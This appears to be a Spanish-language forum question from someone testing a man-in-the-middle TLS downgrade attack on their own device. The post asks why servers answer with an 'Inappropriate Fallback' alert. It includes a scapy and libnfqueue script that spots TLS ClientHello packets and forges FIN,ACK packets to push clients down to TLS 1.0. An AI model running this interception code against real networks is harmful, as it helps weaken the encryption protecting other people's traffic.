Sé que no funcionará en todos los servidores porque algunos no permiten SSLv3
pero probé muchos servidores y mi ataque no parece funcionar.
Por ahora, intento bajar a TLS 1.0 (también reconocido por el número 769
en el protocolo).
Tengo una configuración completa de MITM con la capacidad de interceptar paquetes como deseo. Ahora tengo un script que filtra paquetes y por eso cada vez que la víctima (aunque solo sea mi propio dispositivo personal) intenta enviar un ClientHello
reviso la versión de la conversación que intenta iniciar, si el número es más grande que 769 (TLS 1.0) Envío un mensaje FIN, ACK
en el nombre del servidor.
Ahora, el cliente intenta conectarse nuevamente, pero esta vez con una versión inferior y así sucesivamente, hasta alcanzar TLS 1.0 (769) y luego acepto el paquete y dejo que la conexión continúe.
El problema es que el servidor envía Alert (Level: Fatal, Description: Inappropriate Fallback)
en respuesta. ¿Tiene esto que ver con el servidor que no admite TLSv1? Porque me cuesta creer que un servidor decente en estos días no sea compatible con TLSv1.
Ahora, en el artículo que cité, muestran que bajaron la calificación de Facebook. Por alguna razón, no funciona en mi configuración, aquí está mi configuración (estoy usando libnfqueue
y scapy
):
def print_and_accept(pkt):
spkt = IP(pkt.get_payload())
if re.search('\x16\x03\x01.{2}\x01', str(spkt), flags=0): #Checking for TLS Client Hello
if spkt[TLSClientHello].version > 769: #tlsv1 - although should actually be sslv3, not tlsv1
new_packet = IP(dst=spkt[IP].dst, src=spkt[IP].src)/TCP() #FIN, ACK packet
new_packet[TCP].sport = spkt[TCP].sport
new_packet[TCP].dport = spkt[TCP].dport
new_packet[TCP].seq = spkt[TCP].seq
new_packet[TCP].ack = spkt[TCP].ack
new_packet[TCP].flags = 'FA' #Setting flags to fin, ack
pkt.set_payload(str(new_packet))
pkt.accept()